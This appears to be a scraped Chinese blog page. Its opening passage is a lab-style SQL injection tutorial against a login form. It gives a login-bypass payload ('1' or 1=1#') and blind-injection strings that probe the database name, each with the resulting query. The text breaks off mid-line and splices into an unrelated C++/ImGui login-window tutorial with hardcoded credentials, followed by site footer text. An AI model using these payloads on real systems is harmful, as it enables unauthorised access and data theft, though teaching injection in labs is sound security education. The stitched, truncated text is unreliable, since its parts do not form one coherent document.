账号密码登录界面

这篇博客探讨了SQL注入攻击,通过示例展示了如何利用账号密码登录界面进行注入。作者提到了两种类型的SQL注入:盲注和报错注入,并给出具体的注入字符串示例,揭示了数据库安全的重要性。

 

后台代码:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

输入账号:Dumb 密码:Dumb2
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb2' LIMIT 0,1

绕过登录:
输入账号:aaa 密码:1' or 1=1#
SELECT username, password FROM users WHERE username='aaa' and password='1' or 1=1#' LIMIT 0,1


Sql注入1:盲注
输入账号:Dumb 密码:Dumb' and length(database())=8#
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb' and length(database())=8#' LIMIT 0,1

security

输入账号:Dumb 密码:Dumb' and ascii(substr(database(),1,1))=115#
SELECT username, password FROM users WHERE&nb

使用C++和ImGui实现账号密码登录界面登录成功后登录界面消失并显示新界面,可按以下步骤实现: ### 1. 初始化ImGui 首先,需要在C++项目中初始化ImGui。这通常涉及创建窗口、设置上下文、初始化渲染器等操作。以下是一个简单的初始化示例: ```cpp #include <imgui.h> #include <imgui_impl_glfw.h> #include <imgui_impl_opengl3.h> #include <GLFW/glfw3.h> // 初始化GLFW和ImGui GLFWwindow* window = glfwCreateWindow(800, 600, "Login Window", NULL, NULL); glfwMakeContextCurrent(window); IMGUI_CHECKVERSION(); ImGui::CreateContext(); ImGuiIO& io = ImGui::GetIO(); (void)io; ImGui_ImplGlfw_InitForOpenGL(window, true); ImGui_ImplOpenGL3_Init("#version 330"); ``` ### 2. 定义登录界面和新界面的状态变量 使用布尔变量来控制登录界面和新界面的显示状态: ```cpp bool showLoginWindow = true; bool showNewWindow = false; ``` ### 3. 实现登录逻辑 在主循环中,使用ImGui创建登录界面,包含账号和密码输入框以及登录按钮。当用户点击登录按钮时,检查账号和密码是否正确。如果正确,更新显示状态变量: ```cpp while (!glfwWindowShouldClose(window)) { glfwPollEvents(); ImGui_ImplOpenGL3_NewFrame(); ImGui_ImplGlfw_NewFrame(); ImGui::NewFrame(); if (showLoginWindow) { static char account[256] = ""; static char password[256] = ""; ImGui::Begin("Login Window"); ImGui::InputText("Account", account, IM_ARRAYSIZE(account)); ImGui::InputText("Password", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); if (ImGui::Button("Login")) { // 模拟登录验证 if (std::string(account) == "test" && std::string(password) == "123456") { showLoginWindow = false; showNewWindow = true; } } ImGui::End(); } if (showNewWindow) { ImGui::Begin("New Window"); ImGui::Text("Welcome! You have logged in successfully."); ImGui::End(); } ImGui::Render(); int display_w, display_h; glfwGetFramebufferSize(window, &display_w, &display_h); glViewport(0, 0, display_w, display_h); glClearColor(0.45f, 0.55f, 0.60f, 1.00f); glClear(GL_COLOR_BUFFER_BIT); ImGui_ImplOpenGL3_RenderDrawData(ImGui::GetDrawData()); glfwSwapBuffers(window); } ``` ### 4. 清理资源 在程序结束时,清理ImGui和GLFW的资源: ```cpp ImGui_ImplOpenGL3_Shutdown(); ImGui_ImplGlfw_Shutdown(); ImGui::DestroyContext(); glfwDestroyWindow(window); glfwTerminate(); ``` ### 完整示例代码 ```cpp #include <imgui.h> #include <imgui_impl_glfw.h> #include <imgui_impl_opengl3.h> #include <GLFW/glfw3.h> #include <iostream> int main() { if (!glfwInit()) return 1; GLFWwindow* window = glfwCreateWindow(800, 600, "Login Window", NULL, NULL); if (window == NULL) { glfwTerminate(); return 1; } glfwMakeContextCurrent(window); IMGUI_CHECKVERSION(); ImGui::CreateContext(); ImGuiIO& io = ImGui::GetIO(); (void)io; ImGui_ImplGlfw_InitForOpenGL(window, true); ImGui_ImplOpenGL3_Init("#version 330"); bool showLoginWindow = true; bool showNewWindow = false; while (!glfwWindowShouldClose(window)) { glfwPollEvents(); ImGui_ImplOpenGL3_NewFrame(); ImGui_ImplGlfw_NewFrame(); ImGui::NewFrame(); if (showLoginWindow) { static char account[256] = ""; static char password[256] = ""; ImGui::Begin("Login Window"); ImGui::InputText("Account", account, IM_ARRAYSIZE(account)); ImGui::InputText("Password", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); if (ImGui::Button("Login")) { if (std::string(account) == "test" && std::string(password) == "123456") { showLoginWindow = false; showNewWindow = true; } } ImGui::End(); } if (showNewWindow) { ImGui::Begin("New Window"); ImGui::Text("Welcome! You have logged in successfully."); ImGui::End(); } ImGui::Render(); int display_w, display_h; glfwGetFramebufferSize(window, &display_w, &display_h); glViewport(0, 0, display_w, display_h); glClearColor(0.45f, 0.55f, 0.60f, 1.00f); glClear(GL_COLOR_BUFFER_BIT); ImGui_ImplOpenGL3_RenderDrawData(ImGui::GetDrawData()); glfwSwapBuffers(window); } ImGui_ImplOpenGL3_Shutdown(); ImGui_ImplGlfw_Shutdown(); ImGui::DestroyContext(); glfwDestroyWindow(window); glfwTerminate(); return 0; } ``` ### 解释 - 通过`showLoginWindow`和`showNewWindow`两个布尔变量来控制登录界面和新界面的显示。 - 在登录按钮的回调函数中,验证账号和密码,如果正确则更新显示状态。 - 在主循环中,根据状态变量的值来决定显示哪个界面
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值